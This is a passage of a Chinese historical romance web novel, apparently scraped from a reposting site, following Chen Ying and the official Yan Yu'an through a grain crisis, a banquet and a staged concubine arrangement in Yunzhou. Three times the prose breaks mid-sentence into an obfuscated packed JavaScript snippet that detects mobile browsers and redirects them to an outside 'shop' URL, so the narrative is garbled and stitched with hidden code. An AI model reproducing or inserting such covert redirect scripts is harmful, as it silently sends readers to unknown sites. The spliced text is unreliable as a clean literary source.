不知过了多久,陈英脸上绽出一个惨淡笑容,有些艰涩地说,“京城里心悦状元郎的女子何其多,等你平安回京后,夫人定会为你张罗一门好亲事。” 她并未承认自己的心意,而是选择提醒他,眼下两人看似相隔几步的距离,实则是云泥之别。少女的春心不由自己,可她却清楚的知道,这一程朝夕相伴,日渐情深,终究不过是她一个人的痴梦罢了。 言昱安面色沉冷,仿佛覆上了一层冰霜,眉眼间俱是凉意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289382|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他伸在半空的手,缓缓垂落下来,“那日你说要买田置地留在云州,可是真心话?” “是。” “当初得知我来云州,你不顾一切追上来,只为让我带你回云州,是吗?” “是。” “所以这一路对我曲意逢迎,也只是为借我之力找寻亲人?” 听到她笃定的语气,言昱安苍白的脸上,因怒气而泛起红潮。他的手慢慢握成拳,青筋一点点凸起。 缓缓地,他背过身去,合上双眼。几息之后,他已将所有情绪收敛,声音也恢复成以往的清朗与疏淡,“夜深了,阿英请回吧。” 陈英望着烛光下一袭白衣,清雅绝尘的身影,久久地挪不开眼。 明明那人就在眼前,明明只要她坦白心意,他就一定会回过头来。可陈英始终没有勇气,望着男子疏冷的背影,像一座孤寂又巍峨的雪山,却只能望而却步。 不知过了多久,她已是满脸泪水,唇角却扬起一个笑容。那笑容极明媚而又极其忧伤。随即她朝着言昱安的背影,郑重地行了一礼,然后转身离去。 听着渐行渐远的脚步声,言昱安终于转过头来,望着小姑娘曾站过的地方,下颌紧绷,沉眉不语。 面对朝堂上的风谲云诡,他都能从容应对,而今日小姑娘一口一个是,就足以令他几欲动怒失态。胸腔里传来的钝痛感,沿着血脉直直涌向肺腑,喉间泛起一股腥甜,又被他生生咽了下去。 之后的几日,似乎没有什么不同。 言昱安依旧早出晚归忙于政务,只是脸色越发的疏冷,平康默默看在眼里,行事也越发谨慎。只是平康在他面前提起陈英时,都被他一个冰冷的眼神止住了。 因为官府要收购米粮,在一片骂声中,那些囤积居奇的富商们再一次哄抬粮价,最后米店粮铺中售卖的粮食已是有价无市,普通老百姓根本买不起。 最后只剩下富商之间互相交易,商贾之间消息传得飞快,很快云州之外的粮商们也都闻风而动,纷纷筹集米粮直奔云州而来。一时间,城门口热闹非凡,全是四面八方而来,着急入城的运粮车队。 城中百姓们巴巴望着,满载米粮的车队从眼前驶过。有的情不自禁地跟在车队后,望着圆鼓鼓的麻袋一个接一个地扛进官府的粮仓里,忍不住咽了下口水。直到空荡荡的马车又从眼前驶过,他们又变得茫然不知所措。 好在城中设下众多粥棚,虽说是粥,却是水比米多,但也好过无粮可吃。全城的老弱灾民全都指望着官府的施粥来续命,而那些年轻力壮的灾民光靠施粥,自然是不够吃的,他们积极踊跃应官府征招。 他们被分派去城外押送米粮进城,如此一来,领着官府的差事,那些外地粮商不敢怠慢,虽然不用发工钱,但三餐管饱自没话说。 城中米粮越来越多,可价格一直居高不下,尽管如此,仍旧还有源源不断的米粮从四面八方运来。就在全城粮商们翘首盼望中,官府再次张贴告示,宣告官府已经收购完米粮,现下城中粮仓充盈。 可就在粮商们还没反应过来时,言昱安突然下令开仓放粮。 54. 第 54 章 全城老百姓蜂拥而至,不过半日就将仓廪府库围个水泄不通。可他们等来的却不是派发的米粮,而是官差们对着名册分发的木牌。 而那名册记载的,正是近来官府施粥时,收集来的灾民信息。 等到木牌分派完,仓廪府库门前的人群骤然散去。大家纷纷赶回家去,坐等着官府来人,上门发放米粮。至此,城中百姓们群情激昂,而城内却依旧井然有序,丝毫没有动乱的迹象。 这个时候,粮商们才终于傻了眼。官府不再收购米粮,而自己店铺中的高价米粮更加不会有人买了。 就在城中粮商富户们叫苦不迭,进退无路时,却收到了城主府送来的宴会请柬。不光是粮商,就连云州城中稍有些名望的家族,也都收到了请柬。 这天午后,陈英在房中小憩,突然听见宋管事的声音从外面传来,“今晚的宴会怕是人手不够,你们几个过了申时,便到前院去当值吧。” “是,小的遵命。” 接着,便是一阵渐渐远去的脚步声,而后外面又恢复了宁静。 陈英慢慢睁开眼,心中却一惊,府中要举办宴会?云州城的困境这才刚刚化解,就这么迫不及待要摆上庆功宴么? 可言昱安并不是好大喜功之人,陈英不禁开始犯疑,左思右想,也想不出背后的深意。 直到乌金西沉,城主府内各处纷纷开始掌灯。 不久后,前院中响起了琴声鼓乐,伴随着乐伎曼妙的歌声,幽幽地飘荡在城主府里每一个角落。尽管隔得这样远,但仍能隐约听见宴会上传来的欢声笑语。 说不清是什么心思,或许是单纯的好奇,亦或是别的什么。陈英脚步一提,径直朝院外走去。 守在院门口的两个护卫看着她的背影,然后互相对视了一眼。那年轻的护卫低声说,“咱们可要暗中跟随?” 稍微年长些的护卫摇了摇头,“今夜府中守备森严,她又在世子爷身边定然无碍。” 这时,夜色渐浓。 陈英穿着男装,又因她骨架小,整个人瞧上去就像一个瘦弱的小厮,一路上遇见不少来往穿梭的下人,竟然都没注意到她这个陌生面孔。 陈英更加挺直脊背,从容不迫地往前走去。直到行至通往前院的主道上,循着飘荡而来的丝竹声,她终于寻到那灯火璀璨处。 遥遥望去,红纱灯笼轻轻飘荡着,满室红光浮动,随着衣香人影交织出斑斓色彩,饮酒作乐的热闹场面,恍惚间让人产生一种不真实的错觉。 陈英又往前走了几步,越过众人晃动的身影,向里面看了过去。 只一眼,她便呆住了。 明明宴席上有那么多人,可她仍能一眼就认出他。 言昱安坐在主榻上,两边分别是云州知名的家族族长,还有城中商贾富户的家主。而在他们的身后,一排排的席位上,皆是随他们前来赴宴的家眷。 此时,一个商贾打扮的中年男子,躬身正和言昱安说着什么,紧接着他身后的席位上两个桃夭柳媚的少女缓缓起身,朝着言昱安盈盈一拜,然后红着脸,羞答答地坐下。 陈英游目四顾,恍然间发觉这宴会上,除去主位上均为男子外,其他席位多半是些打扮华贵的妙龄女子。再结合方才所见,她不禁兀自失笑了一声。 原来如此,于他而言,结交云州百姓,赢得好官声。而对于这些商贾富户,巴结高官更是百利无害。只是这些人更精于钻营,纷纷带来家中美貌少女,用意也太过明显。 言昱安那般风光霁月的郎君,今夜一露面,只怕又要成为多少女子的春闺梦中人。 忽然一阵寒风袭来,陈英不禁打了个冷战,脚尖一转,正准备回去时,她的肩膀却被人一把按住。 “你小子,在这儿躲什么懒。”那人刻意压低的声音,已经有些不耐烦。 还没等陈英反应过来,那人抓着她的胳膊,直往偏殿方向走去,“还愣着干嘛,宴会上正缺人斟酒呢。” 陈英心头一跳,下意识想要解释,可刚一张口,竟不知该说些什么。既然已经决心和言昱安划清界限,那她现在的身份可不就是个下人么? 她脸上的神色变了又变,犹犹豫豫间,手中被人塞了一个大酒壶。就这么稀里糊涂地,随着另外几个小厮,一同踏进了宴会。 她不想被言昱安发现,只能远远地站在角落处,正好有一个梁柱,能遮挡住主榻方向投来的目光。只不过,距离乐伎歌女太近,声音嘈杂,导致她听不清周围的说话声。 这时一旁的席位上有人朝她招手,她垂眸敛目,故意背对着主榻,慢慢走了过去,然后半跪在榻几旁端起酒壶斟酒。 忽然面前伸过来一只纤细的手,抬眸一看,却是一个盛装华服的少女。陈英刚给她斟完酒,就见她端起酒杯,如痴如醉地轻叹着,“言大人竟是这般俊美的郎君,他还如此年轻就身居高位。究竟得是怎样的女子,才能有幸嫁与他啊。” “反正你我这般的商贾之女,就不要奢望了。”一旁席位的少女不咸不淡的说着,眼神中却是难以掩饰的落寞,“若是能给他做侍妾,此生也算无憾了。” 陈英捧起酒壶,慢慢起身,正待转身退回去时,忽然感觉丝乐声停了下来。因为心虚,她下意识偷偷瞄了眼主榻方向,确认那人目光并未投过来,她这才暗暗松了口气。 这时,席间突然走出一个美貌少女。 与众不同的是,在这样寒冷的冬季,即便室内燃着炭火,也依然会觉得有些冷,可她却衣衫单薄,不盈一握的纤腰下却着长长的翠绿纱裙,行动间,那曼妙的身姿,使得那裙摆像荷叶般随风摇曳着,衬得人越发清雅不俗。 大厅内烛光飘摇,灯火烁烁下少女模样楚楚动人,宛如莲花初开,千娇百媚。众人目光落在她身上都是一滞,顿时场面安静下来。 就见那少女袅袅婷婷地走到言昱安面前,盈盈一福,然后她红唇轻启,“民女愿为大人献上一支舞,还望大人准允。” 言昱安持起酒杯,慢慢饮了一口,而后掀眸看了一眼面前的女子。这时,一旁的中年男子半倾着身子凑近言昱安耳边,低声说着什么。 言昱安神情淡淡,未置一词。倒是一旁的男子递去一个默许的眼神,很快乐伎们便开始吹奏着情丝缠绵,柔肠百转的曲调。 恍惚间,好像看见一朵绿云飘然而至,伴随着一阵香风扑鼻,众人眼睛一亮。 少女曼妙的舞姿,令得在场众人一个个心荡神驰,就在大家如痴如醉欣赏舞姿时,陈英悄悄往前挪步,抬起头朝主榻方向眺望。 就在她抬头的一瞬间,她脚下一个趔趄,差点就要撞到榻几上。还没来得及庆幸,就看见榻几上被洒出一滩酒液,更可怕的是,榻几后那人身上也 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女子的声音清润动听,并不像是受苦之人,这让他稍稍放心。原以为这趟见不到她,竟没想到如此机缘巧合,雷成稳住心神后,认真地看着她,眼底闪过一瞬犹豫,最终慢慢吐出两个字,“雷成。” 和北狄的最后一场战役,很快就要打响了,这个时候若是跟她相认,只会让她日后忧心牵挂。还是再等等吧,等到功成名就的那一天,他定要敲锣打鼓地将她接回家。 他不露声色地打探着,“你一直是跟在言大人身边吗?” “是啊,我从小便伺候他。”陈英随口扯了个谎,脸上还扬起一个灿烂笑容。 一句话,瞬间让雷成浑身汗毛乍起。他强忍着心底翻腾的怒火,偏过头去,眸光阴沉地盯向主榻方向。 陈英瞧见了,觉出他眼底不善,便也歇了继续聊下去的心思。她捧起酒壶,然后快速起身,头也不回地离开了。 刚走了几步,正好一曲终了。跳舞的少女气息微喘,朝着言昱安盈盈一拜,却久久不见人叫起。她惶惑不安地抬起头,却发现言昱安正与旁人交谈甚欢,从始至终未曾分给她半个眼神。她咬着唇,尽管心怀不甘,但还是黯然退下。 这情形显然陈英并未在意,只是等到宴席过半,方才渐入主题。言昱安与粮商富户们正在激烈交谈,她好奇心起,想要凑近去听一听。 心随意动,她捧着酒壶走到角落里,然后沿着墙壁,一点点朝主榻方向挪去。突然的,有人朝她挥了挥手,示意她过去斟酒。那位置恰好就在主榻旁边,电光火石之间,陈英闭着眼背过身去,装作没看见。 朝她挥手的肥胖男子正是此次囤积米粮的富户,原本想借着灾荒大发横财,到头来竹篮打水一场空不说,反倒是自己高价收购的米粮全都砸在手里了。 今晚前来赴宴,心里原就压着火,方才又听言昱安软硬兼施的一套说辞,心里越发的憋屈,几杯酒下肚仍旧难解躁郁,正愁没地方撒气,就碰见这么个不长眼的。 “你,就是你,过来斟酒!”肥胖男子气喘如牛,见陈英背过身去,心头怒火更甚,他咬牙切齿地瞪向陈英,“还不快滚过来!” 几乎同时,无数道目光齐齐射了过来,陈英双腿一软,险些就要跪下来。 这时,四周陡然变得安静,言昱安也注意到这里的动静。他的目光有些寒意,紧紧盯着墙角那道熟悉的身影,然后不紧不慢地将杯中酒一饮而尽。 57. 第 57 章 两人在房内共度一夜,直到第二日晌午,屋外仍是寂静无声。 言昱安起身后,便去屏风后沐浴,隔着重重纱幔,轻微脚步声并未惊动床榻上的人,没过多久,屏风后便传出淅淅沥沥水声,然后是穿戴衣裳的声音。 陈英其实早就醒了,只是迟迟不敢睁开眼。没过多久,床帐被人从外头掀开,鼻尖传来一阵湿热皂角香,混着男子身上熟悉的甘松香,像是骤然靠近的暖炉,烤得人瞬间热气上涌。 她紧张得闭紧双眼,一动不动。 纤长眼睫如蝶翅轻轻颤动,她轻咬的唇瓣隐隐泛白,犹似初春枝头绽放的海棠,百媚千娇,令人心醉神迷。 言昱安眸光幽深,视线从少女僵直的四肢掠过,嘴角不自觉地弯起。 情念一起,再难自抑。 他不是没有动摇过。他想将陈英留在身边,一切只等回京后再做安排,可还没等他说出口,陈英便要与他决绝,这是他未曾想到的。 望着榻上装睡的少女,言昱安眼神一黯。 默了会儿,他转身坐到书案前提笔书写。不多时,他面色恢复平静,声音也清润如常,“算起来,我们要在云州过新年了,阿英可有书信要捎回京城?” 陈英心头一跳,陡然睁开眼,一双黑白分明的眼眸里写满了震惊,立刻朝床帐外望去。 目光落在窗边那袭白衣上,她整个人立时便呆住了。 淡金色阳光下,那颀长俊美的身影犹如玉树琼枝,光彩夺目,明明就在书案前端坐书写,周身却似笼罩着一层明净如玉的柔光,恍若神仙。 听到声响,那人抬头朝她看来,眼中盛着温柔笑意。 下意识地,陈英掀开被衾一角偷偷瞅了眼。发现自己衣衫完整,这才松了口气,又想起昨夜自己冲动下的决定,心里隐隐有些不安。 她舔了下唇,小心翼翼望着他问,“过完年你就会离开云州吗?” 这时,言昱安握笔的手指紧了紧,沉静眼眸中有情绪翻涌,脸上笑意也悉数散去。 “是,还得在云州逗留两个月。” 他的声音清润动听,叫人听不出情绪。陈英蹙了蹙眉,也没再说什么。 转眼间她起身下榻,来到书案前俯身提笔。随着她上身微倾,坦领处褶皱更深,她那白皙丰腴之处,还有朱红色石榴裙下玲珑有致的身段,便在透窗而来的日光下,无比清晰地呈现在言昱安眼前。 娇媚中透着灵俏,即便是春日明艳的海棠花,都不及她此刻半分风姿。 “劳烦你,将这封信捎给我姑姑。”陈英毫不避讳,将墨迹未干的信纸往他面前一推。 既然打定主意要留在云州,写信告诉姑姑也是应当的。如今云州危难解除,百废待兴,要不了多久,那些流散在外的百姓便会回到故乡,寻找失散的亲人重建家园。或许很快她就能和阿爹、阿兄团聚了,相信姑姑收到信,也一定会替她高兴的。 陈英不再看他,转身去了屏风后,她歪着头,五指成梳把长发捋到肩侧,正要掬水净面时,不经意瞧见矮几上备好的朱红袄裙,她这才将身上衣裳褪下。 隔着一层纱绣屏风,少女身段纤细柔媚一览无余,纤长脖颈下起伏的线条,勾勒出若隐若现的窈窕身姿,像是在人心底纵了一把火,瞬间如火燎原,五脏俱焚。 言昱安放在桌面上的手指蜷了蜷,眼神复杂地移开视线。 “我现在不是小厮了,可以自由出府了吗?” 没过多久,陈英已穿戴整齐从屏风后走了出来。 她素净的脸上不见半点脂粉,粉润唇瓣吐出的话却是令人心惊,“我想在云州盘下一家铺面做些营生,等日后你回京了,我也能养活自己。” 很早前她就有这样的打算了,可此刻说出来就怕言昱安不信,赶紧又解释着,“我跟人打听过了,城内铺面要价并不高,我手里的银钱是足够的。” 言昱安见她神情认真,更像是深思熟虑后的决定,顿时面色微冷,“眼下城内并不算太平,我会派人去寻些待售铺面,到时候再让人带你去看看。” 陈英未曾觉察出他语气变化,只垂眼思量了会儿,方微微点头说,“这样也好,有劳你了。” “年节将近,城中宴请也会增多。”言昱安抬眸望去,对上一双坦然的眼眸,他视线淡淡撇开,又继续说,“到时你须得配合我出席,如何应对众人,你可有思量过?” 陈英明显愣了一下,不由低头拧起眉。 有微光透窗进来,照在她白嫩脸庞上,犹如上好羊脂玉镀了层金粉,细长柳叶眉微微蹙起,似乎有些迷茫和窘迫。 这一看便知是没有思量过,满心只惦记着盘铺面,以备将来独自谋生。 言昱安眸光微敛,藏起涌动的情绪,似是轻叹了声,“今日你且思量一下吧。” 说完,他垂着眼将信纸对折装入信封,又在上面加印私印。做完这些后,他起身朝外走,临出门前突然脚步一顿。 他回过头来,望着一身明艳红裙的少女,终是忍不住唤她,“阿英。” 声音艰涩,有着连他自己都没发觉的复杂,望着陈英挺直的脊背,目光触及她莹亮双眸中的坦荡,想要问的话瞬间便卡在喉咙里。 这时陈英抬起头,眨了眨眼回望他,“还有什么事,要吩咐我吗?” 言昱安怔了怔,脸上有些不自在。他慢慢握紧手指,蓦地又松开,再开口时,声音依旧温柔,“你着红裳很美。” 他的声音轻得像一片羽毛,随风飘摇而去。说完他也不再停留,大步迈出门去,自然也就错过陈英在他背后,微微瞠目发呆的表情。 男子飘然若仙的身影渐行渐远,白衣胜雪,恍如谪仙下凡。宽大袖摆被风卷起,银线勾勒出祥云暗纹,在日光下泛起浮动的细碎光芒,像是夜空璀璨星河,又像是秋水粼粼波光。 陈英呆呆地望着,唇角不禁掠过一丝苦涩,言昱安早晚都是要离开云州啊,就算她再不舍又能如何? 这一日陈英并未出府,倒不是她不想,而是宋管事过来了。 对上陈英那张清艳又熟悉的脸,宋管事当即吓了一跳,“你,你……” 你你你了半天,都说不出一句完整的话,最后还是憋出一句,“你怎会在这里?” 话一出口,他脑中轰然一亮,立刻明白其中关窍。 言昱安虽说是新科状元郎,可到底还是出身显赫,堂堂侯府世子爷,风流肆意些也属正常。且又正是血气方刚的年纪,如何能受得了长途跋涉的艰辛,身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289386|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排个可心的丫鬟,女扮男装伺候着,其实这也算不得什么大事。 陈英顶着宋管事惊诧的目光,放下手中暖炉慢慢起身。 她面带几分羞赧,朝宋管事盈盈一拜,“让宋管事见笑了。” 她态度不卑不亢,双眸清亮透彻,并没有因被揭穿女扮男装而有丝毫慌乱。 宋管事一脸犹疑看着她,“所以昨晚也是你在屋内伺候的?” 陈英心里忐忑,面上却很镇定,“如您所见。” 昨夜好不容易将塞进府的美人都遣送回去,眼下正犯难要如何安置昨夜承宠的美人,谁能想到这新宠美人竟是言昱安自己的人,这下倒是好办多了。 如此他也瞧出来,纵然昨夜宴会上百花献媚,但没人能入得了言昱安的眼,可见这位世子爷是个秉性高洁之人。 再看眼前这位英姑娘,姿容清艳,举止娴雅,真不愧是京城侯府调.教出来的,可比云州世族大家里的千金还要体面些。 这样想着,宋管事心中觉得踏实,语气也越发和蔼,“过几日便是腊八节,万法寺要举办浴佛会,城内世家大族都要携眷出席,以昭诚敬。” 顿了顿,他展眉一笑,继续道,“您是言大人身边唯一的女眷,如夫人自然是要相伴出席的。” 他说着,看了眼身旁的丫鬟麦冬。 麦冬会意,立刻上前朝着陈英行礼,“奴婢麦冬,今后服侍姑娘……” 话一出口她就倒吸口凉气,惊慌失措地改口说,“奴婢该死,请如夫人恕罪。” 陈英并不觉得意外,从今日起她不再是言昱安的小厮,而是众人皆知的如夫人。言昱安尚未娶亲,这一声如夫人已经是给足她颜面。可就算是尊称她一声如夫人又如何,在世人眼中她仍旧是上不得台面的侍妾而已。 她声音淡淡,自嘲一笑,“不必如此,还是叫我英姑娘吧。” 麦冬一愣,望着她茫然地点点头。 没过几日,陈英就收到平康送来一叠图纸,正是她心心念念的商铺。有地处闹市的胭脂水粉铺子,布匹绸缎铺子,也有开在豪门贵宅云集之地的金石玉器店,笔墨字画书斋。 若不是手中银钱有限,她还真想多涉猎些行当。 也幸亏言昱安教会她识文断字,如今她才有底气去做想做的事情。若是幼年时不曾遇到言昱安,那么此刻她眼中怕是只有一方后宅,几尺穹庐而已。倘若她胸无万卷,不谙处世之道,要想在这纷乱世道自在行走,对一个女子而言,将会是何其艰难? 从一堆图纸中挑选了两处商铺,她拿在手中翻来覆去地看,竟是越看越欢喜。想着图纸上的描述若是属实的话,她得尽早出府定下契书才好。 言昱安最近为安置流民一事劳心费神,进屋时眉宇间仍旧带着疲惫。 不知什么时候他走到了陈英身旁,只是随意扫了眼图纸,便蹙了蹙眉问,“已经想好了?” 陈英以为他是在问挑选商铺的事,也不去看他,只低声叹了句,“有些拿不定注意。” “你只当是我刚过门的妻子,一切随心便好。”言昱安突然说。 陈英还没反应过来他在说什么,就见他转到屏风后去更衣,顿时明白过来,望着屏风后熟悉的人影,竟有片刻失神。 60. 第 60 章 男子胸膛微微起伏,熟悉的甘松香萦绕过来,瞬间令陈英忘记了呼吸。 如果说与众人谈笑自若的言昱安,是高不可攀的谪仙神君,是让士族贵女们痴心祈盼的檀郎。 可当他褪去清冷华贵的外衣,卸下眉宇间的克制和隐忍,他的眼中便再无一丝隐藏。 陈英对上那双琥珀色眼眸,脸颊烫得厉害,感觉他的目光如有实质般,温煦又明亮,此刻更是将她的紧张和困窘,照得无处遁形。 她不知道此时的言昱安在想什么,也无暇去猜测他的心思。 这一刻九州四海仿佛褪尽颜色,任凭风云变幻,岁月如流,她的眼前心上,唯有面前一人而已。 言昱安揽住她的纤腰,却没有要松开的意思,他只是蹙起眉,低头静静地看她。 陈英对上他这样的眼神,心忍不住颤抖了一下,等她反应过来发生什么之后,下意识便要从他怀中挣脱出来。 就在这时,言昱安手臂收紧,阻止了她的动作。随即他脚步一转,便将陈英从石阶边沿带到凉亭正中间。 可即便如此,他还是没有放开陈英,反而光明正大地牵住她的小手。 陈英浑身紧绷,连呼吸都在极力克制。她红着脸低下头,磕磕巴巴说,“我,我没事了,你快松开吧。” 声音微弱,带着难以掩饰的惶恐。 言昱安静静看着她,那双明澈粲然的眼眸里,涌动着无尽温柔。 他无声一笑,用只有他们自己才能听到的声音,回答说:“手太凉了,我先捂一会儿。” 陈英耳尖也红了,她咬着唇,小声嗔了句,“我不冷。” “嗯,是我冷。”言昱安忍着笑,随意应了一声,将掩在宽袖下的小手握得更紧了。 陈英有些懊恼,无奈地转过头去。只一眼,她便觉得有彻骨寒风从四面八方袭来,直直钻进她的骨缝里,身子不由地颤栗。 她听见四周窃窃私语声,更是发现有无数眼睛,正在不动声色地审视自己。那一道道目光如凌迟般,一寸寸从她身上掠过,不知不觉中,她的颈后渗出一层薄汗。 “好一个美人儿,也不知是哪家的手笔。” “罢了罢了,已经有人捷足先登了。” 明明事先便答应过要和他做戏,可此刻她还是受不住众人看戏的眼神。 那些或轻蔑,或好奇,或唏嘘,或看热闹的眼神,便像是一根根无形的针扎在她身上,更是在时时刻刻提醒戏中人,镜花水月一场空,莫要入戏太深。 有那么一瞬,她觉得自己是货郎摊上的人形木偶,被无数双眼睛掂来量去。她不禁皱眉,垂下头,避开众人视线。 她不过是在帮言昱安一个忙,等他离开云州城,这一切便都结束了。 她与他之间,终是陌路罢了。 不知过了多久,她望着地上一抔残雪,慢慢融成一滩泥泞水渍,她的眼神也渐渐变得空洞,心中再无一丝波澜。 这日之后,云州城中开始大兴土木,有了众位豪绅慷慨掷金,云州的护城墙也加高了三尺,济生堂的孤儿们也都穿上冬衣。就连街市上流民乞丐也都应招到各处做工,解决了温饱问题。 等城中诸事顺遂后,陈英便开始筹划起另一件事情来。她私底下都打听好了,可言昱安近来似乎很忙,一连几日都没见到他,也就没有机会跟他提这个事。 “那家书画铺子我已经瞧好了,明日便可去定契书。”陈英站在回廊下,望着正要出府的言昱安,顺便提了一嘴。 言昱安脚步一顿,垂下眉眼,轻声说,“明日我不得空,我让平康陪你去吧。” 看出他有些迟疑,怕是自己给他添了麻烦,陈英面上僵了僵,立即回道,“不必麻烦,有麦冬陪我就好了。” 说完,她欠身正要离去,突然面前传来一阵压抑低咳声。 陈英突然觉得眼中一阵酸涩,她霍然抬起头,大步朝他走近,“你染了风寒,可曾吃过药?” 言昱安定定地看向她,白皙的指尖从她泛红的眼尾划过,指腹触到一抹腻滑湿意,“你哭了?” 他的手顿时凝在半空,然后缓缓垂落下来,沾泪的指尖无声地藏于背后,五指紧紧嵌入了掌心。 他如漆般黑沉的眸底晦涩不明,似是翻涌着某种剧烈情绪,却又很快黯沉下去。 陈英猜不透他的心思,又往后退了一步,悄无声息,拉开两人之间的距离。 此时,朝霞初绽,那一缕缕金光勾勒出他的身影。在他鬓角边,眉骨上,在他雪白大氅上,仿佛这一刻,他整个人被天地镀上一层辉光,璀璨至极,却又遥不可及。 她沉默了一会儿,声音有些闷闷地说,“虽然,这段时间是做戏给旁人看,但是你我,终究男女有别。” 这一刻空气仿佛凝固,唯独只有她心跳如鼓。 避开言昱安的视线后,她垂下眼又继续说,“我是怕,怕万一有闲言碎语传到京城,会影响你的名声。” “无妨。”言昱安的回答,简洁有力。 话音一落,陈英霍然抬起头,怔怔地迎上他的目光。 他望着她蹙起的眉,因紧张而抿起的唇角,不知过了多久,他闭了闭眼,忽然声音像是被冰雪浸过,透着淡漠,“不过是些查无实据的事罢了。” 陈英整个人都愣住了,周遭的一切都变得虚幻无实,只看见面前男子拂袖离去的背影,却是什么话也说不出。 满脑子都在重复着那四个字,“查无实据”。 原来她心上的男子,自始至终都是天边孤高的明月,是她遥不可及的痴梦。 心口传来一阵尖锐刺痛,蔓延整个肺腑,连呼吸都带着痛意。 陈英一个人立在廊下,久久未动。 云州城南街,金墨斋。 麦冬朝对面的金掌柜瞟了几眼,然后悄悄扯了下陈英的衣袖,小声说,“姑娘,那金掌柜摆明着是在故意耍赖。” 说到这里,麦冬觑了眼陈英的脸色,又轻声说,“明明早就说定好的价钱,现在见咱们是女子就坐地起价,实在是欺人太甚。” 陈英端起茶盏,依旧一言不发。 麦冬见她不作声,便有些气不过,撇了撇嘴说,“不如就告诉他,姑娘是言大人的内眷,谅他也没那个胆子敢欺负咱们。” 陈英垂眸呷了口茶,听完麦冬的话,她只是蹙了蹙眉。 好一会儿,陈英站起身,在店铺内缓步转了转。 见她仔细打量着店内陈设,金掌柜嘴角一勾,也放下茶盏,然后得意洋洋地跟过去,“姑娘,我这店铺可是百年老字号了,这价钱你可不亏的。” 顿了顿,金掌柜扬起下巴,颇为自负地说,“就是对街衙门里头,也都跟老夫有多年交情了。日后姑娘若是遇到什么麻烦,也可尽管来找老夫出面,帮忙疏通一二。” 在金掌柜喋喋不休中,陈英一直没有应声,而是在认真查看店内陈设细节。 这时,门外传来一阵马车声,接着是店小二热络的招呼声。 金掌柜眼睛一亮,大步朝门外迎了出去,“赵公子,您可算是来了。” 对上金掌柜满脸谄笑,赵云君也只微微颔首,面上并无甚表情。他径 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289389|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直走进店铺中,随意扫了眼柜台说,“东西可都备好了?” 金掌柜勾着腰,态度极恭敬地回答说,“一早便预备好了,定不会误您的事儿。” 赵云君这才注意到店内还有其他人,不经意间瞥见货架旁的女子,他恍惚了一瞬间。 心底的迟疑仅持续了瞬息,赵云君眼睛一亮,大步走上前,“竟然真的是你。” 觉察出面前女子的困惑,他忙拱手施礼,主动自报家门,“在下赵云君,上回在万法寺与姑娘有过一面之缘,姑娘可还记得?” 他一面说着,目光情不自禁逡巡在陈英那张清艳小脸上,眼神里更是毫不掩饰的激动和喜悦。 而这时的陈英,还未反应过来。只觉得面前男子衣饰华贵,神采飞扬,浓眉下一双桃花眼,似曾相识。他在对上陈英时,目光如火一般炽热直白,这令她感到莫名的不适。 而此刻一旁的金掌柜心里也七上八下,且拿不准眼前二人关系。 但见陈英面露犹疑,金掌柜脑瓜一转,凑过来插话,“这位可是赵府的大公子,云州城中数一数二世家门第,听说府上还有一位在京城做大官的呢。” 陈英并未理会金掌柜,她只是朝着赵云君欠身一礼,语调清淡,“我想起来了,那日赵公子替令妹致过歉。” 不由地,赵云君脸色变了变,也终于将目光从陈英身上移开。 只不过,他眸光一转,恰巧瞥见桌上的契书,不禁问道,“姑娘,可是要盘下这家店铺?” 这话一出,陈英只是笑了笑,却没有接话。 赵云君见她这般笑容,有瞬间失神,一时间竟忘记要说什么。 而一旁的金掌柜,那泛着精光的小眼正在二人身上飘来飘去。在陈英看不到的地方,他脸上的神情几经变幻,不知在盘算着什么。 方才没问出这姑娘来历,便以为是个身份见不得光的主儿,所以他才故意抬一抬价,想趁机敲上一笔。 可哪晓得就连赵家公子这般矜贵人物,都对她彬彬有礼,可见她不是无根无底的女子。可别为贪图那点银钱,得罪了哪位权贵,那他这些年的苦心经营,岂不全毁了? 在金掌柜暗自揣测时,陈英忽然开口,“许是,我与这间铺子无缘罢了。” 她的话虽爽利,可赵云君还是听出她语气中遗憾。先是一怔,转眼赵云君便明白几分。 他捡起那张契书,快速扫几眼,眉头便不觉皱起,“可是掌柜的要价太高了?” 陈英神色略有迟疑,内心挣扎一瞬后,还是朝他点了点头。 这时,一旁的金掌柜倒吸了口气,立即脸色慌张地对陈英说,“价钱可以再议,价钱可以再议。” 他又转向赵云君,勾着腰,满脸堆笑说,“这位姑娘与赵公子相识,不看僧面看佛面,小人便依着之前的价钱售予她便是。” 这番话,明里暗里是要卖他个人情,赵云君眉间一展,微笑着点点头。 